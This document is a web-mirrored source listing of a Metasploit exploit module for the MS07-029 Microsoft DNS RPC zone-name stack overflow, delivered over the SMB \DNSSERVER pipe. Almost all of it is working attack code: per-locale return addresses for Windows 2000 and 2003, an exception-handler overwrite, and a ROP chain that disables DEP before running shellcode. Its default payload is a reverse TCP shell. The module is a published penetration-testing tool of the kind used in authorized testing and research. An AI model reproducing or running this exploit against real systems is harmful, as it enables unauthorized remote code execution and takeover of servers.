Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::SMB::Client
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in the RPC interface
19
of the Microsoft DNS service. The vulnerability is triggered
20
when a long zone name parameter is supplied that contains
21
escaped octal strings. This module is capable of bypassing NX/DEP
22
protection on Windows 2003 SP1/SP2. This module exploits the
23
RPC service using the \DNSSERVER pipe available via SMB. This
24
pipe requires a valid user account to access, so the SMBUSER
25
and SMBPASS options must be specified.
26
},
27
'Author' => [
28
'hdm', # initial module
29
'Unknown', # 2 unknown contributors (2003 support)
30
'bcoles' # additional target offsets
31
],
32
'License' => MSF_LICENSE,
33
'References' => [
34
['CVE', '2007-1748'],
35
['OSVDB', '34100'],
36
['MSB', 'MS07-029']
37
],
38
'Privileged' => true,
39
'DefaultOptions' => {
40
'EXITFUNC' => 'thread',
41
'PAYLOAD' => 'windows/shell/reverse_tcp'
42
},
43
'Payload' => {
44
'Space' => 500,
45
46
# The payload doesn't matter, but make_nops() uses these too
47
'BadChars' => "\x00",
48
49
'StackAdjustment' => -3500,
50
51
},
52
'Platform' => 'win',
53
'Targets' => [
54
[ 'Automatic (2000 SP0-SP4, 2003 SP0-SP2)', {} ],
55
56
# p/p/r WS2HELP.DLL
57
[ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ],
58
[ 'Windows 2000 Server SP0-SP4+ French', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
59
[ 'Windows 2000 Server SP0-SP4+ German', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74f92ac4 } ],
60
[ 'Windows 2000 Server SP0-SP4+ Italian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
61
[ 'Windows 2000 Server SP0-SP4+ Polish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fb2ac4 } ],
62
[ 'Windows 2000 Server SP0-SP4+ Portuguese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
63
[ 'Windows 2000 Server SP0-SP4+ Korean', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74f92ac4 } ],
64
[ 'Windows 2000 Server SP0-SP4+ Russian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fb2ac4 } ],
65
[ 'Windows 2000 Server SP0-SP4+ Simplified Chinese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
66
[ 'Windows 2000 Server SP0-SP4+ Spanish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
67
[ 'Windows 2000 Server SP0-SP4+ Swedish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
68
[ 'Windows 2000 Server SP0-SP4+ Traditional Chinese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
69
[ 'Windows 2000 Server SP0-SP4+ Turkish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fc2ac4 } ],
70
71
# Use the __except_handler3 method (and jmp esp in ATL.dll)
72
[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x77f7e7f0, 0x76a935bf] } ],
73
[ 'Windows 2003 Server SP0 French', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f35a34, 0x77f6e7f0, 0x76a435bf] } ],
74
75
# ATL.DLL (bypass DEP/NX, IB -> Image Base of ATL.dll)
76
[ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ],
77
[ 'Windows 2003 Server SP1-SP2 French', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
78
[ 'Windows 2003 Server SP1-SP2 Spanish', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
79
[ 'Windows 2003 Server SP1-SP2 Italian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
80
[ 'Windows 2003 Server SP1-SP2 German', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
81
[ 'Windows 2003 Server SP1-SP2 Russian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x769a0000 } ],
82
[ 'Windows 2003 Server SP1-SP2 Simplified Chinese', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x769c0000 } ],
83
],
84
'DisclosureDate' => '2007-04-12',
85
'DefaultTarget' => 0,
86
'Notes' => {
87
'Reliability' => UNKNOWN_RELIABILITY,
88
'Stability' => UNKNOWN_STABILITY,
89
'SideEffects' => UNKNOWN_SIDE_EFFECTS
90
}
91
)
92
)
93
94
register_options(
95
[
96
OptString.new('Locale', [ true, "Locale for automatic target (English, French, Italian, ...)", 'English'])
97
]
98
)
99
100
deregister_options('SMB::ProtocolVersion')
101
end
102
103
def gettarget(os)
104
targets.each do |target|
105
if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/))
106
return target
107
end
108
end
109
110
return nil
111
end
112
113
def exploit
114
connect(versions: [1])
115
smb_login()
116
117
if target.name =~ /Automatic/
118
119
case smb_peer_os()
120
when 'Windows NT 4.0'
121
print_status("Detected a Windows NT 4.0 system...")
122
target = nil
123
124
when 'Windows 5.0'
125
print_status("Detected a Windows 2000 SP0-SP4 target...")
126
target = gettarget('2000')
127
128
when 'Windows 5.1'
129
print_status("Detected a Windows XP system...")
130
target = nil
131
132
when /Windows Server 2003 (\d+)$/
133
print_status("Detected a Windows 2003 SP0 target...")
134
target = gettarget('2003SP0')
135
136
when /Windows Server 2003 (\d+) Service Pack (\d+)/
137
print_status("Detected a Windows 2003 SP#{$2} target...")
138
target = gettarget('2003SP12')
139
else
140
fail_with(Failure::NoTarget, "No target for OS: #{smb_peer_os}")
141
end
142
end
143
144
if (not target)
145
fail_with(Failure::NoTarget, "There is no available target for '#{datastore['LOCALE']}' locale")
146
end
147
148
print_status("Trying target #{target.name}...")
149
150
# Bind to the service
151
handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_np', ['\dnsserver'])
152
print_status("Binding to #{handle} ...")
153
dcerpc_bind(handle)
154
print_status("Bound to #{handle} ...")
155
156
# Create our buffer with our shellcode first
157
txt = Rex::Text.rand_text_alphanumeric(8192)
158
159
if (target['OS'] =~ /2000/)
160
txt[0, payload.encoded.length] = payload.encoded
161
162
off = target['Off']
163
txt[off] = [target.ret].pack('V')
164
txt[off - 4, 2] = "\xeb\x06"
165
txt[off + 4, 5] = "\xe9" + [ (off + 9) * -1 ].pack('V')
166
167
elsif (target['OS'] =~ /2003SP0/)
168
txt[0, payload.encoded.length] = payload.encoded
169
170
off = target['Off']
171
txt[off] = [target['Rets'][0]].pack('V') # __except_handler3
172
txt[off - 4, 2] = "\xeb\x16"
173
174
# addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9)
175
addr = target['Rets'][1] - 4
176
addr1 = addr / 2
177
addr2 = addr1 + addr % 2
178
addr1 = addr1 + (addr2 % 12)
179
addr2 = addr2 / 12
180
181
txt[off + 4, 8] = [addr1, addr2].pack('VV') # A,B
182
183
#
184
# then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here :
185
#
186
# 0x77f443c9 jmp off_77f7e810[edx*4] ; edx = 0 so jmp to 77f443d0
187
# 0x77f443d0 mov eax, [ebp+arg_0]
188
# 0x77f443d3 pop esi
189
# 0x77f443d4 pop edi
190
# 0x77f443d5 leave ; mov esp, ebp
191
# 0x77f443d6 retn ; ret
192
193
txt[off + 16, 4] = [target['Rets'][2]].pack('V') # jmp esp
194
txt[off + 20, 5] = "\xe9" + [ (off + 23) * -1 ].pack('V')
195
196
elsif (target['OS'] =~ /2003SP12/)
197
off = target['Off']
198
ib = target['IB']
199
txt[off] = [ib + 0x2566].pack('V')
200
201
# to bypass NX we need to emulate the call to ZwSetInformationProcess
202
# with generic value (to work on SP1-SP2 + patches)
203
204
off = 445
205
206
# first we set esi to 0xed by getting the value on the stack
207
#
208
# 0x76a81da7:
209
# pop esi <- esi = edh
210
# retn
211
212
txt[off + 4, 4] = [ib + 0x1da7].pack('V')
213
txt[off + 28, 4] = [0xed].pack('V')
214
215
# now we set ecx to 0x7ffe0300, eax to 0xed
216
# 0x76a81da4:
217
# pop ecx <- ecx = 0x7ffe0300
218
# mov eax, esi <- eax == edh
219
# pop esi
220
# retn
221
222
txt[off + 32, 4] = [ib + 0x1da4].pack('V')
223
txt[off + 36, 4] = [0x7ffe0300].pack('V')
224
225
# finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4)
226
# 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX
227
# 0x76a8109c:
228
# call dword ptr [ecx]
229
230
txt[off + 44, 4] = [ib + 0x109c].pack('V') # call dword ptr[ecx]
231
txt[off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')
232
233
# we catch the second exception to go back to our shellcode, now that
234
# NX is disabled
235
236
off = 1013
237
txt[off, 4] = [ib + 0x135bf].pack('V') # (jmp esp in atl.dll)
238
txt[off + 24, payload.encoded.length] = payload.encoded
239
240
end
241
242
req = ''
243
244
# Convert the string to escaped octal
245
txt.unpack('C*').each do |c|
246
req << "\\"
247
req << c.to_s(8)
248
end
249
250
# Build the RPC stub data
251
stubdata =
252
NDR.long(rand(0xffffffff)) +
253
NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +
254
NDR.long(rand(0xffffffff)) +
255
NDR.string(req + "\x00") +
256
NDR.long(rand(0xffffffff)) +
257
NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")
258
259
print_status('Sending exploit...')
260
261
begin
262
response = dcerpc.call(1, stubdata)
263
264
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
265
print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
266
end
267
rescue ::Exception => e
268
print_error("Error: #{e}")
269
end
270
271
handler
272
disconnect
273
end
274
end
275
276